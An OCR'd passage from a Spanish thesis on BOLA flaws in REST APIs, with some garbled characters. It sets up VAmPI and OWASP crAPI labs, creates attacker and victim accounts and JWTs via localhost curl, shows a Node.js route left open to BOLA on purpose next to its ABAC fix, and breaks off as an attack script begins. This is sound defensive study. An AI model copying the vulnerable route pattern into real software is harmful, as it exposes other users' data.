digest SHA de la imagen exacta utilizada, lo cual facilita identificar la versiéon del

contenedor, aunque la version latest sea modificada mas adelante.

docker pull erev@s/vampi:latest

Tabla 1
Funcionamiento de la API segun el estado de BOLA_MITIGADO.
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Variabl | Estado

e

Image | erevOs/vampi

n

Digest | erevOs/vampi@sha256:0a5a224b6e14ae7dababea265178ff71286ff903aec74a
SHA dee98f660bb0e4ca12

la

ID de | d7394e7e4d2a

image

de

ga

Fecha

descar

15/07/2026

Ejecucion y Mapeo de Puertos: Se desplego el contenedor en modo aislado o
segundo plano (-d, detached), estableciendo un tunel de comunicacién de red entre
el puerto asignado 5000 de la maquina host y el puerto 5000 interno del contenedor,

exponiendo de este modo los endpoints de la APl REST:

docker run -d -p 5000:5000 erevOs/vampi:latest

Verificaciéon de Estado de los Procesos: Se llevo a cabo una revisién directa de
los de contenedores en ejecucion para obtener el identificador unico (Container ID),
la integridad de los puertos enlazados y la estabilidad del proceso a lo largo del

funcionamiento:
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docker ps

Figura 2

Salida de terminal mostrando la descarga de la imagen erevOs/vampi:latest y la verificacion del
digest SHA (sha256....) para garantizar la reproducibilidad del experimento.

ee98f660bboescal2”

3.1.3. Verificacion del Estado Operativo de la API
Como paso previo al ingreso de datos o la aplicacién de pruebas de seguridad, se examiné la
disponibilidad del servicio y su receptividad ante pruebas de seguridad ofensiva. Mediante la
herramienta de transferencia de datos por linea de comandos curl, se realizé una peticién HTTP

sincrona hacia el directorio raiz del servicio:

curl http://localhost:56000

El servicio retornd con un payload en esquema JSON estructurada mediante el par clave-valor
{"vulnerable":1}. El analisis técnico de este resultado demuestra que la API no solo se encuentra
en un estado de escucha activa (Listen), sino que ratifica directamente (a través del valor booleano
1) que los componentes vulnerables y las unidades ldgicas internas permanecen habilitados de

manera deliberada para propdsitos del analisis experimental.
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Figura 3

Salida del comando curl verificando estado de api.

%

3.1.4. Inicializacién y Poblado de la Base de Datos
El entorno VAmMPI arranca sin informacion precargada, por lo que se requiere completar con
informacion simulada con el fin de examinar los fallos de seguridad. Para verificar que cada prueba
arranque co el mismo punto de partida, se llevo a cabo la carga de datos a través del endpoint
/createdb al inicio de cada bloque de pruebas. De este modo se previene que ejecuciones previas

afecten con las siguientes ejecuciones y se garantiza la repetibilidad del experimento.

Para disparar la rutina de inicializacion y el llenado de esquemas l6gicos con datos simulados, se

interactué con el endpoint administrativo /createdb mediante el método GET:

curl -X GET http://localhost:5600/createdb

La validacion exitosa del la API se evidencio en la obtencion del codigo de respuesta:

{"message": "database populated"}
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Este retorno verifica la generacion de las estructuras de usuarios y la carga de roles
predeterminados requeridos para las etapas posteriores, tales como name1, name2 y el rol

directivo admin.

Figura 4

Salida del comando curl mostrando la confirmacion de la creacion de la base de datos de VAMPI.
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3.1.5. Configuracion del Escenario con Usuarios Transaccionales de Control
Con el fin de suministrar el estudio de una base de usuarios con niveles de acceso distintos, se
generaron tres cuentas adicionales dentro del entorno VAmPI. La creacion de estas cuentas de
prueba se efectu6 mediante peticiones HTTP estructuradas con el método POST orientadas al
endpoint /users/v1/register, incluyendo cabeceras especificas de tipo de contenido (Content-Type:

application/json)

e Usuario Atacante:
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curl -X POST http://localhost:5000/users/vl/register \
-H "Content-Type: application/json" \

-d '{"username": "atacante”, "password": "Atacante2026!", "email":
"atacante@example.com"}"’

e Usuario Victima1:

curl -X POST http://localhost:5000/users/v1/register \
-H "Content-Type: application/json" \

-d '{"username": "victimal"”, "password": "Victima2026!", "email":
"victimal@example.com"}’

e Usuario victima2:

curl -X POST http://localhost:5000/users/vi1/register \
-H "Content-Type: application/json" \

-d '"{"username": "victima2", "password": "Victima2026!", "email":
"victima2@example.com"}’

Cada peticion retornd el mensaje de confirmacion {"message": "succesfully registered"},
confirmando el almacenamiento de las credenciales y proporcionando la matriz de usuarios

necesaria para evaluar a nivel de igualdad entre perfiles la separacion de perfiles.


http://localhost:5000/users/v1/register
http://localhost:5000/users/v1/register
http://localhost:5000/users/v1/register
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Figura 5

Registro exitoso de los tres usuarios de prueba en VAMPI
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3.1.6. Gestion Automatizada de Identidades y Extraccion de JSON Web Tokens (JWT)
El esquema de autenticacion empleado por VAmPI para resguardar sus rutas protegidas se basa
en tokens de acceso conforme al estandar JWT (JSON Web Tokens). Al completar
satisfactoriamente el procedimiento de ingreso, la APl emite un JWT con firma que el cliente de

peticiones debe remitir en peticiones posteriores.

Con el propésito de facilitar y sistematizar el manejo de estas cadenas criptograficas sin introducir
errores manuales de copiado, se incorporé en la estacion de trabajo la utilidad de procesamiento

de flujos JSON jq:

sudo apt-get install jq -y

Através del encadenamiento de comandos (piping), las respuestas HTTP estructuradas generadas

por el endpoint /users/v1/login se filtraron directamente con jg mediante el flag de salida plana (-r,
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raw output) para poblar variables de entorno en la terminal local. Este procedimiento se replic

sistematicamente para los tres perfiles de control:

TOKEN_ATACANTE=$(curl -s -X POST http://localhost:5000/users/v1/lLogin \
-H "Content-Type: application/json" \
-d '"{"username": "atacante", "password": "Atacante2026!"}"' \
| jg -r '.auth_token')

TOKEN_VICTIMA1=%(curl -s -X POST http://localhost:5000/users/v1/Login \
-H "Content-Type: application/json" \
-d '{"username": "victimal"”, "password": "Victima2026!"}' \
| jg -r '.auth_token')

TOKEN _VICTIMA2=$(curl -s -X POST http://localhost:5000/users/v1/Login \
-H "Content-Type: application/json" \
-d '{"username": "victimal2", "password": "Victima2026!"}' \
| jg -r '.auth_token')

Figura 6

Obtencion del token de autenticacion para los usuarios atacante, victima1 y victimaZ2.
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sudo apt-get install jq -y
Leyendo lista de paquetes... Hecho
Creando arbol de dependencias ... Hecho
Leyendo la informacion de estado ... Hecho
jq ya esta en su version mas reciente (1.8.1-7).
El paquete indicado a continuacion se instalo de forma automatica y ya no es necesario.
libcrypt-dev
Utilice «sudo apt autoremove» para eliminarlo.
® actualizados, @ nuevos se instalaran, @ para eliminar y 2231 no actualizados.

~

TOKEN_ATACANTE=$(curl -s -X POST http://localhost:5000/users/v1/login \
-H "Content-Type: application/json®™ \

-d "{"username”: "atacante”, "password”: "Atacante2026!"}" \
| jqg -r *.auth_token")

TOKEN_VICTIMA1=$(curl -s -X POST http://localhost:5000/users/v1/login \
-H "Content-Type: application/json®™ \
-d “{"username”: "victimal®”, “password”: "Victima2026!"}" \
| jg -r *.auth_token®)

TOKEN_VICTIMA2=$(curl -s -X POST http://localhost:5000/users/v1/login \
-H "Content-Type: application/json™ \
-d "{"username”: "victima2®, "password”: "Victima2026!"}" \
| jg -r *.auth_token®)

Con el proposito de confirmar que los tokens obtenidos presentaban las propiedades de vigencia
y validez requeridas por las directivas de seguridad de la API, se efectué una consulta de
verificacion general al endpoint /users/v1 insertando un token temporal vélido dentro del

encabezado HTTP de autorizacion bajo el formato Bearer:

curl -X GET "http://localhost:5000/users/v1"” \

-H "Authorization: Bearer $TOKEN_TEMP" | jg '.'

El mensaje devuelto presento la totalidad de registros de perfiles de usuario registrados en el

sistema (incluyendo los que vienen por defecto como los creados por el investigador):

{

"users": [
{"username": "namel", "email": "namel@vampi.com"},

"username": "name2", "emaill": "name2@vampi.com"},


mailto:name1@vampi.com
mailto:name2@vampi.com
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{"username”: "admin", "email": "admin@vampi.com"},
{"username": "atacante", "email": "atacante@example.com"},
{"username”: "victimal"”, "email": "victimal@example.com"},

{"username”: "victima2", "email": "victima2@example.com"}
]
}

Esta prueba de validacién demuestra la adecuada aceptacion de la identidad por el esquema de
autenticacion, sentando las bases analiticas para la ejecucion de la demostracion practica del

ataque.

Figura 7

Verificacion de usuarios registrados mediante peticion autenticada con token JWT.


mailto:admin@vampi.com
mailto:atacante@example.com
mailto:victima1@example.com
mailto:victima2@example.com
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curl -X GET "http://localhost:5000/users/v1"™ \
-H "Authorization: Bearer $TOKEN_ATACANTE" | jq ".°'
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 479 100 479 0 0 24058 B e e e e SN I 1

{

s [

3.2. Desarrollo Practico OWASP crAPI (Completely Ridiculous API).
El desarrollo practico de este proyecto se fundamenta en la implementacion de un entorno
controlado de simulacion y analisis de seguridad. A continuacion, se muestra el esquema del
laboratorio virtual, las herramientas de software utilizadas, el proceso detallado para la
implementacién y desarrollo de las pruebas con el que se evaluara la vulnerabilidad BOLA en

OWASP crAPI (Completely Ridiculous API).

3.2.1. Disenfo e Infraestructura del Laboratorio Virtual
El laboratorio se desarrollé en un entorno virtualizado y aislado, en el que se utilizé6 una maquina
virtual principal con OS Kali Linux. Esta maquina cumple dos funciones en el laboratorio: en la
misma se despliegan las aplicaciones a utilizar y a la vez como estacién de pruebas de la
vulnerabilidad, lo que permite simplificar el analisis de trafico local y reduce la dependencia de

redes externas.
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Para asegurar el funcionamiento fluido de las herramientas de red, contenedores y navegadores,

se asignaron los siguientes recursos de hardware:

Procesador (CPU): 2 vCPU o superior.
Memoria RAM: 8 GB.
Almacenamiento: 40 GB.

Interfaz de Red: Adaptador en modo NAT o Bridge.

3.2.2. Herramientas y Ecosistema Tecnoldgico

El laboratorio integra un conjunto de herramientas de cdédigo abierto y de uso estandar en la

industria de la ciberseguridad, las cuales interactian de acuerdo con el flujo metodolégico del

proyecto:

OWASP crAPI (Completely Ridiculous API): Aplicacion web deliberadamente
vulnerable que emula el backend y frontend de un servicio moderno de gestion de
vehiculos. Es el objetivo principal de la evaluaciéon debido a sus fallos de logica de
autorizacion.

Docker y Docker Compose: Plataforma de contenedorizacién empleada para
instanciar, aislar y orquestar los microservicios independientes que componen la
arquitectura interna de crAPI (identidad, vehiculos, base de datos, etc.).

Burp Suite Community Edition: Herramienta interceptora que actua como un
proxy web local entre el navegador del usuario y el servidor de la API, facilitando la
inspeccion, modificacion y repeticion manual de las solicitudes HTTP/HTTPS.
Navegador Web (Mozilla Firefox / Chromium): Interfaz de usuario para generar

el trafico legitimo y mapear los endpoints expuestos por la aplicacion.

3.2.3. Despliegue y Configuracion del Laboratorio

El proceso técnico de construccién del entorno se estructurd en las siguientes fases operativas:
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Fase 1 Verificacion del Sistema y Entorno Docker: En primer lugar, se validaron las

especificaciones de la maquina virtual de auditoria.

Figura 8

Informacién del sistema operativo de la maquina virtual Kali

/home/kali

kali
computer-vm

686Ta41363T049e9a

Linux 6£.19.14+kali-amde4
xXBH-064

innotek GmbH

VirtualBox

Fri 2006-12-01
19y 6month 2w 1d

Posteriormente, se comprobd la correcta instalacion y la versidn del motor de Docker para asegurar

la compatibilidad con las especificaciones de despliegue de OWASP crAPI

Figura 9

Verificacion de la version de Docker instalada

/home/kali

Docker versiom 28.5.2+dfsgé4, build 9Sccéedea

Una vez validada la version, se procedié a inicializar el servicio y a comprobar el estado del

demonio mediante el comando docker ps.
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Figura 10

Inicializacién del servicio Docker y estado actual del sistema.

/home/kali

start docker

/home/kali

/home/kali

pPs
AINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES

Fase 2 Obtencion del Cédigo Fuente y Orquestacion: Se clond el repositorio oficial de la
aplicacion crAPI desde GitHub hacia el almacenamiento local de la maquina virtual mediante el

protocolo Git.
git clone https:/github.com/OWASP/crAPI.git

Una vez descargados los artefactos en el directorio correspondiente, se ejecutd la orquestacion de

los contenedores utilizando Docker Compose para levantar los microservicios de la aplicacién.

Figura 11

Ejecucion del comando docker-compose para inicializar los servicios.
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/home/kali/crAPI

./services/community/vendor/github.com/jinzhu/gorm/docker-compose.yml
./deploy/docker/docker-compose.yml

./deploy/docker/docker-compose.minimal.yml

/home/kali/crAPI
deploy/docker
' COmpose up -c

Container postgresdb

Container chromadb

Container api.mypremiumdealership.com
Container mailhog

Container mongodb

Container crapi-identity

Container api-community

Container api-chatbot

Container crapi-workshop

Container crapi-web

/home/kali/crAPI/deploy/docker
' COmpose up -c

Container mongodb

Container api.mypremiumdealership.com
Container chromadb

Container postgresdb

Container mailhog

Container crapi-identity

Container crapi-community

Container crapi-workshop

Container crapi-web

Container crapi-chatbot

Tras completar el proceso de construccién, se comprob6 que todos los contenedores requeridos

se encontraran en estado de ejecucion estable y sin registrar errores en los logs.

Figura 12

Listado de contenedores activos asociados a crAPI.



MITIGACION DE VULNERABILIDAD BOLA EN APIS REST 50

Fase 3: Aprovisionamiento de Usuarios y Recursos de Prueba: Con los servicios desplegados,
se accedio a la interfaz web local de la aplicacion a través de la direccion de bucle invertido en el

puerto parametrizado (http://127.0.0.1:8888/login)

Figura 13

Interfaz de inicio de sesion de la plataforma crAPI

Login

Talk to me! & ‘

@ ESo0m®ROEsmon

Para validar los mecanismos de autorizacién del sistema sin requerir multiples maquinas virtuales,
se instanciaron dos identidades logicas independientes en el mismo entorno de base de datos a

través de sesiones de navegacion separadas:

o Usuario A: Actua como el sujeto que interactua legitimamente con sus recursos en

primera instancia y desde el cual se originara el ataque. A este usuario se le asigné


http://127.0.0.1:8888/login
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un recurso automotriz dentro de la plataforma, generando un identificador Unico

global (UUID) de propiedad.

Figura 14

Panel de control y generacion de recursos asociados al Usuario A.

Vehicles Details

VIN: ZRHP74KP4K9299GX3 » vwricte Serwce Hatory ] 2 Conioct Mechwc ]

ST i S =

@ USS0MEREE ryecn

e Usuario B: Actua como la victima o el sujeto de control cuyos datos no deberian
ser accesibles por terceros. De igual forma, se completd su registro, inicio de sesidn
y la asignacién automatica de un vehiculo con su respectivo UUID unico en el

sistema.

Figura 15

Registro y aprovisionamiento de recursos del Usuario B
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Vehicles Details
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Fase 4 Configuracion del Proxy de Intercepcion: Para capturar y auditar el trafico hacia la API
REST, se configuré el modulo Proxy Listener de Burp Suite para escuchar en la direccion local

127.0.0.1 en el puerto 8080.

Figura 16

Configuracién del Listener en Burp Suite.
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Settings o ®
Ml Q Tools 3 Prowy Manage global settings 3
G - o T o= .

' il (@ Proxylisteners
@ Burp Prowy uses listeners to receive incoming HTTP requests from your browser. You will need to configure your browser to use one of the listeners as its prowy serv
ool
Add Running  Interface Enasible Redirect Certificate TLS Protocols
Edit [-] 127.0.0.1:8080 Per-host Default
Remove
»
Each installation of Burp generates its own CA certificate that Prowy listeners can use when negotiating TLS connections. You can import or export this certificate fo
Import/ export CAcertificate Regenerate CAcertificate

2 (@) Request interception rules
" {8} Use these settings to control which requests are stalled for viewing and editingin the Intercept tab
> Extension:
8 Intercept requests based on the following rules: Master intercer
m Configuration library Add Enabled  Operator  Matchiype Condition
Edit a File extension if51%]paSl*pngS| “cssS|4jsH Moositse..
or Request
fremove or HTTP method etipost
And AL »
up
Down
Automatically fix missing or superfisous new lines at end of request

er when the request is edite

Automatically update Content-Length head

El navegador web se parametrizé para redirigir todo su trafico a través del puerto configurado para
Burp Suite. Como verificacion inicial del correcto funcionamiento del proxy de interceptacion, se
realizd una peticién de control hacia el dominio externo sin cifrado http://neverssl.com/. Este
recurso se utilizé exclusivamente para confirmar que Burp Suite capturaba y retenia correctamente
las solicitudes HTTP antes de su envio al destino, sin formar parte del entorno de laboratorio ni de
las pruebas de evaluacion de la vulnerabilidad BOLA realizadas sobre la infraestructura local

aislada.

Figura 17
Captura y validacion del trafico HTTP de prueba en Burp Suite.


http://neverssl.com/
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3.3. Desarrollo del Trabajo API Propia
El desarrollo de la API propia se organizo en dos fases, una detras de la otra, y ambas se hicieron
sobre el mismo cédigo. Estas fases solo cubren lo de la APl propia y coinciden con la Fase 2
(versién vulnerable) y la Fase 3 (mitigacion) del ciclo de tres fases del Capitulo 1. La Fase 1, que
era la evaluacion en los entornos de referencia, no entra en esta seccion. Se usd una sola base
de cddigo a proposito: asi queda mas claro que pasar de una API vulnerable a una segura no

implica armar otro sistema, sino poner bien la autorizacion donde corresponde en la arquitectura.

En la primera fase —que en el proyecto global es la Fase 2— se armé una APl REST de gestion
de usuarios con Node.js y Express.js. La autenticacién con JWT si quedd bien hecha, pero a
proposito no se valido si el usuario era duefio del recurso que pedia. Esa omisidn es la misma que
aparece en VAmPI y en OWASP crAPI. Con eso, la API propia sirve como un caso de control de

caja blanca donde se pueden medir mejor los ataques BOLA.

La segunda fase —Fase 3 del proyecto global— se centrd en la parte defensiva. Se disefidé e
implementd un middleware de autorizacién con el modelo ABAC (Attribute-Based Access Control).
En tiempo de ejecucién compara la identidad del sujeto que viene en el JWT con el identificador
del objeto solicitado, para ver si hay relacion de propiedad. El middleware se mete en la cadena

de Express.js de forma separada, sin tocar los controladores de las rutas que ya existian.
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Las dos fases se pueden activar de forma fija con la variable de entorno BOLA_MITIGADO. Eso

ayuda a repetir los mismos escenarios de ataque y defensa cuando se hacen las pruebas de

validacion.

3.3.1. Diseno Arquitecténico de la API Propia

3.3.1.1.  Estructura de Directorios y Componentes

La API propia sigue una arquitectura en capas, donde cada directorio tiene una responsabilidad

unica y bien delimitada. La Tabla 3.1 describe la estructura de archivos del proyecto y el rol de

cada componente.

Tabla 2

Estructura de directorios y responsabilidad de componentes.

Archivo / Directorio

Responsabilidad

index.js Punto de entrada. Inicializa Express, cargas variables de entorno y
monta el router de usuarios en /api/v1/users.
db.js Establece la conexiéon con SQLite y ejecuta el DDL de creacién de
la tabla usuarios si no existe (CREATE TABLE IF NOT EXISTS).
.env Variables de entorno: PORT, JWT_SECRET y BOLA_MITIGADO.

Controla el modo operativo sin modificar el codigo fuente.

middleware/auth.js

Middleware de autenticacién (AuthN). Valida la firma criptografica

del JWT y adjunta la identidad del sujeto a req.usuario.

middleware/abac.js

Middleware de autorizacion ABAC (AuthZ). Activo en Fase 3. Valida

la propiedad del objeto comparando token.id con params.id.

routes/users.js

Define los endpoints CRUD de wusuarios. Encadena los
middlewares auth + abac antes de cada controlador de recurso por

ID.
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database.sqlite Archivo binario de la base de datos SQLite. Generado

automaticamente en el primer arranque. Excluido del repositorio git.

La cadena de procesamiento para los endpoints sensibles (:id) es la siguiente:

1. Peticion HTTP llega al endpoint

2. Middleware auth.js

e  Valida JWT (Autenticacion - AuthN)

e X Sifalla — 401 Unauthorized

e  Sipasa — adjunta req.usuario = { id, email, rol }

3. Middleware abac.js

e Fase 2 (BOLA activa): BOLA_MITIGADO=false — pasa sin validar
e Fase 3 (BOLA mitigada): BOLA_MITIGADO=true — valida
reg.usuario.id = req.params.id

e X Sifalla — 403 Forbidden

4. Controlador de ruta

e Consulta SQLite

e Devuelve respuesta JSON

3.3.1.2. Modelo de Datos y Persistencia
La persistencia de la API propia se implementa sobre SQLite mediante una unica tabla relacional
denominada usuarios. La Tabla 3.2 describe cada atributo de la entidad, su tipo de dato, las

restricciones aplicadas y su rol funcional dentro del sistema de autenticacion y autorizacion.
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Tabla 3

Atributos de la tabla usuarios en la base de datos SQLite

Campo Tipo Restriccion Descripcion funcional

id INTEGER | PK, Identificador Unico del usuario. Es el atributo
AUTOINCREMENT | del objeto que el middleware ABAC compara

con el claim id del JWT (Fase 3).

nombre TEXT NOT NULL Nombre completo del usuario.

email TEXT UNIQUE, NOT | Correo electronico. Usado como credencial de
NULL acceso en /login.

password | TEXT NOT NULL Hash bcrypt (10 rondas) de la contrasena.

Nunca se almacena en texto plano (NIST SP

800-63B).

rol TEXT NOT NULL Rol del usuario (user | admin). En la regla
ABAC de Fase 3, admin es una excepcion
privilegiada: autoriza el acceso sin exigir
coincidencia JWT.id===:id. Esa excepcion
representa un atributo del sujeto tipo
administrador. No vale para quienes tienen rol

user.

La excepcion de admin se entiende como un privilegio administrativo claro dentro de ABAC (un
atributo del sujeto), no como si se hubiera dejado sin autorizacién. Para reducir el riesgo de que
alguien se eleve de rol sin permiso, POST /register asigna por defecto el rol user e ignora cualquier
intento de autoasignarse admin en el cuerpo de la peticion, salvo que la variable de entorno

PERMITIR_REGISTRO_ADMIN=true habilite de forma deliberada el registro de un administrador



MITIGACION DE VULNERABILIDAD BOLA EN APIS REST 58

de laboratorio. Ademas, el rol va firmado dentro del JWT. Si un cliente intenta cambiarlo, la firma
deja de ser valida. Asi la excepcion de admin queda limitada por como se asigna el rol, y no se

abre de mas el alcance del ataque BOLA entre usuarios con rol user.

Al arrancar el servidor, la tabla se crea sola con CREATE TABLE IF NOT EXISTS en db.js. No se
us6 ORM a propdsito. ¢ Se trabaja con SQL parametrizado y marcadores ?, asi se ve exactamente

qué consulta corre. Eso importa porque el espécimen es de caja blanca.

3.3.1.3. Endpoints REST Implementados
Hay siete endpoints bajo el prefijo /api/v1. En la Tabla 3.3 se ve, para cada uno, el método HTTP,

la ruta, si pide autenticacion, si hay BOLA y como cambia el comportamiento entre fases.

Tabla 4

Endpoints REST de la API propia segun la fase

Método Ruta Auth Comportamiento / Observacion

GET /ping No Health check. Informa el modo activo (Fase

2 o Fase 3) en la respuesta JSON.

POST lusers/register No Crea un usuario. Hashea la contrasena con

berypt antes de persistir.

POST /users/login No Valida credenciales y emite un JWT con

payload { id, email, rol }. TTL: 2 h.

GET lusers JWT Devuelve el listado de wusuarios (sin
password). Pide JWT, pero no usa ABAC
por objeto porque no trabaja con un :id
concreto; por eso queda fuera del vector
BOLA de este estudio. Se dejo a propdsito

como endpoint de laboratorio, para crear
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datos y ubicar recursos en las pruebas de
caja blanca. En produccién se limitaria a

admin o se quitaria.

GET Jusers/:id A JWT Fase 2: devuelve perfil de cualquier id.

Fase 3: 403 si token.id # params.id.

PUT Jusers/:id A JWT Fase 2: modifica perfil de cualquier id.

Fase 3: 403 si token.id # params.id.

DELETE Jusers/:id A JWT Fase 2: elimina cualquier cuenta.

Fase 3: 403 si token.id # params.id.

Sobre GET /users: listar cuentas autenticadas en produccion puede ser exposicion de datos o
privilegio de mas. Aqui se dejo sin filtro extra porque es experimental y ayuda a repetir las pruebas
BOLA sobre recursos sueltos (/users/:id). Lo que se mitiga en el proyecto es la autorizacién a nivel

de objeto, no el control de listados globales.

3.3.2. Implementacion de la Fase 2: API con Vulnerabilidad BOLA Activa

3.3.21. Middleware de Autenticacion (auth.js)
En middleware/auth.js esta la funcion verificarToken. Intercepta las peticiones a endpoints
protegidos y revisa que el encabezado HTTP Authorization traiga un JWT valido con el esquema

Bearer. Abajo se ve la parte central de esa légica:

const verificarToken = (req, res, next) => {
const authHeader = req.headers["authorization"];
if (!authHeader | | lauthHeader.startsWith("Bearer ")) {
return res.status(401).json({ error: "Acceso denegado” 1);

}

const token = authHeader.split(" "Y[1];
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try {
const decoded = jwt.verify(token, process.env.JWT_SECRET);
reg.usuario = decoded; // adjunta { id, email, rol } a la peticiédn
next(); // pasa al siguiente middleware
} catch (err) {

return res.status(401).json({ error: "Token invalido o expirado" });

}s

Este middleware solo hace autenticacion (AuthN). Es decir, comprueba que el token exista y que
la firma cuadre con el JWT_SECRET configurado. Si eso sale bien, pone el payload decodificado

(id, email y rol) en reqg.usuario para que lo usen los middlewares que vienen después.

A propésito no se compara req.usuario.id con el id del recurso pedido (req.params.id). Esa falta es
el fallo l6gico que da lugar a BOLA. El middleware responde “¢quién eres?” (AuthN), pero no

“¢ puedes tocar este objeto?” (AuthZ).

3.3.2.2. Coémo se introduce el fallo BOLA en los endpoints CRUD
Los endpoints GET /users/:id, PUT /users/:id y DELETE /users/:id son donde queda inyectada la

vulnerabilidad. Desde el principio del desarrollo, la cadena de middlewares en esos puntos es:
verificarToken - verificarPropietario - controlador de la ruta

El middleware verificarPropietario (abac.js) esta en las dos fases y también forma parte de esa
cadena en la Fase 2; no es algo que se agregue solo en la Fase 3. Lo que varia es cdmo se
comporta segun la variable de entorno. Con BOLA_MITIGADO=false hace de pass-through: llama
next() al tiro y no revisa propiedad. Entonces, si el JWT es valido, el controlador recibe la peticion

y consulta SQLite solo con el id de la URL, sin mirar quién pide el recurso. Ahi esta el BOLA: AuthN
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bien hecha, pero sin AuthZ a nivel de objeto. Con BOLA_MITIGADO=true (Fase 3), esa misma

funcidn ya no es transparente y aplica la regla ABAC.
El siguiente fragmento muestra el patrén vulnerable en GET /:id:

router.get("/:id", verificarToken, verificarPropietario, (req, res) => {
const { id } = req.params;

// El controlador usa el :id de la URL tal cual, sin mas chequeo.

// Aqui no se compara reqg.usuario.id con id.
db.get(
"SELECT id, nombre, email, rol FROM wusuarios WHERE id = 7?7,
[id],
(err, usuario) => {
if ('usuario)
return res.status(404).json({ error: "No encontrado" });
return res.json({ usuario 1;
}

)s
})s
Ese patrén se parece al que describen de Almeida y Bonifacio (2023) y al de VAmPI: el servidor
valida bien la firma del token (AuthN V'), pero no revisa si el objeto pedido le corresponde a ese
usuario (AuthZ X). Con cualquier JWT valido, un atacante puede ir subiendo el :id en la URL y
listar o abrir casi todos los perfiles.

Lo mismo pasa en PUT /:id (cambiar datos de otro usuario) y en DELETE /:id (borrar la cuenta de

otro). Ya no es solo lectura indebida: también se puede modificar o borrar informacién de terceros.
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3.3.3. Implementacion de la Fase 3: Mitigacion mediante Middleware ABAC

3.3.3.1. Diseno del Middleware de Autorizacion (abac.js)
En middleware/abac.js esta la funcion verificarPropietario, que es la pieza defensiva principal del
proyecto. Ahi se aplica ABAC (NIST SP 800-162, 2014) y, en tiempo de ejecucion, se miran dos
atributos: el id del JWT (sujeto) y el id del parametro de ruta (objeto). El fragmento de abajo muestra

la regla de autorizacién completa:

const verificarPropietario = (req, res, next) => {
const mitigado = process.env.BOLA MITIGADO === "true";
if (!mitigado) {
return next(); // Fase 2: omite la verificacién (BOLA activa)
}
// Fase 3: saca el id del usuario y el id del recurso
const idToken = req.usuario.id; // viene del JIWT
const idRecurso = parselnt(req.params.id); // viene de la URL
const rolToken = req.usuario.rol;
// Regla ABAC:
// Deja pasar si idToken == idRecurso, o si el rol es admin
if (idToken !== idRecurso && rolToken !== "admin") {
return res.status(403).json({
error: "No tienes permiso para este recurso”,
detalle: ° El1 usuario id=${idToken} no es duefio del recurso
id=${idRecurso}. °,
mitigacion: " ABAC activo (Fase 3) ",

1)
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next(); // coincide dueno (o es admin): sigue

}s
La regla del cédigo sigue la misma idea de la féormula del Marco Teérico:

Autorizar & Atributogjeto (idioken) == Atributogpyeto (Propietarioiy)
0 BIEN Atributoge,(rol) == 'ADMIN’

El rol admin es una excepcién dentro de la regla ABAC: deja pasar sin exigir que JWT.id coincida
con: id. No es un hueco de autorizacion; modela un uso administrativo real, por ejemplo, revisar o
gestionar cuentas de otros. Tiene limites claros. Solo aplica si el claim rol del JWT verificado es
exactamente admin. Igual hay que autenticarse: verificarToken sigue siendo obligatorio. En el
registro publico el rol no se elige a gusto: queda acotado por PERMITIR_REGISTRO_ADMIN (por
defecto false, fuerza user), como se explicé en 3.3.1.2. Ademas, el claim va firmado, asi que un
cliente no puede subirse a admin editando el token sin romper la firma. Con eso el privilegio queda

controlado, y el vector BOLA del estudio se mide entre usuarios con rol user.

Si la condicion no se cumple, el servidor contesta con HTTP 403 Forbidden y la peticién no llega
al controlador ni a la base de datos. Eso encaja con Zero Trust (NIST SP 800-207): no basta con
estar autenticado; cada request se vuelve a mirar frente al recurso pedido. En el middleware se ve
claro: pasar verificarToken (AuthN) no significa tener AuthZ sobre: id. verificarPropietario decide
otra vez en tiempo de ejecucién segun atributos del sujeto y del objeto. Poner ese control en la
capa de aplicacion, cerca de la persistencia, también encaja con lo que plantean de Almeida y

Bonifacio (2023) sobre autorizacién a nivel de objeto.

3.3.3.2. Mecanismo de cambio entre fases
El modo de la API se controla con la variable de entorno BOLA_MITIGADO del archivo. env. La

Tabla 3.4 resume cdmo se comporta el sistema segun ese valor.
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Tabla 5
Qué hace la API segun BOLA_MITIGADO.

BOLA_MITIGADO | Fase activa Comportamiento en GET/:id, PUT/:id y DELETE/:id

false (default) Fase 2  —| ‘verificarPropietario’ ejecuta ‘'next()" sin verificar. Acceso
Vulnerable concedido a cualquier “:id". Respuesta: 200 OK + datos.

true Fase 3  —| ‘verificarPropietario’ compara ‘token.id" con ‘params.id’. Si
Mitigada no coinciden: 403 Forbidden. Si coinciden o es admin: OK.

Con esto se cumple el principio Ill de Twelve-Factor App (Wiggins, 2012): lo que cambia entre
entornos (vulnerable o mitigado) va en variables de entorno, no en el codigo. Asi se pueden repetir
los dos escenarios sin tocar ningun .js. Eso hace falta para la validaciéon binaria del proyecto

(explotable / no explotable) segun los criterios de éxito.

Para pasar de una fase a otra, se edita el valor en. env y se reinicia el servidor:
BOLA_MITIGADO=false — Fase 2 (ataque)

BOLA_MITIGADO=true — Fase 3 (mitigacion activa)

Advertencia operacional. El default BOLA_MITIGADO=false se dejo solo para el laboratorio
académico, para poder repetir el escenario vulnerable (Fase 2). Ese modo no deberia ir a
producciéon ni a entornos compartidos: apaga la verificacion ABAC y deja abierto el BOLA. Para
bajar el riesgo de un despliegue accidental, .env esta en .gitignore y no se copia solo entre
maquinas. Ademas, .env.example explica cada valor y avisa del peligro del modo vulnerable. Al
arrancar, el servidor imprime en consola el modo activo (FASE 2 — BOLA VULNERABLE o FASE
3 — mitigada), asi se nota rapido si qued6 mal configurado. Y fuera de un entorno experimental,

antes de exponer la API hay que forzar BOLA_MITIGADO=true.
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CAPITULO 4

4. ANALISIS DE RESULTADOS

4.1. Pruebas de Concepto

4.1.1. Desarrollo de Pruebas APl Vampi
La demostracién practica de la vulnerabilidad de Autorizaciéon a Nivel de Objeto Roto (BOLA) se
implementd mediante la creacion y puesta en marcha de un script de automatizacion en Bash
llamado atacar_bola_final.sh. La finalidad técnica de esta herramienta de software consiste en
emular la conducta de un usuario con pocos permisos que procura vulnerar las barreras de
separacion de datos accedicendo de manera reiterada a la informacion personal de los demas

usuarios sin contar con las credenciales de acceso de estos ultimos.

El script fue consolidado en el entorno de pruebas utilizando el siguiente cédigo fuente ejecutable:

cat > atacar_bola_final.sh << 'EOF'

#!/bin/bash

# Colores de salida para interpretacion en consola
RED="'\033[0;31m"

GREEN="\033[0;32m"

BLUE="\033[0;34m"

YELLOW="\033[1;33m"'

NC="\@33[ém"

# 1. CONFIGURACION E IDENTIFICACION DEL ATACANTE
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ATACANTE_USER="atacante"

ATACANTE_PASS="Atacante2026!"

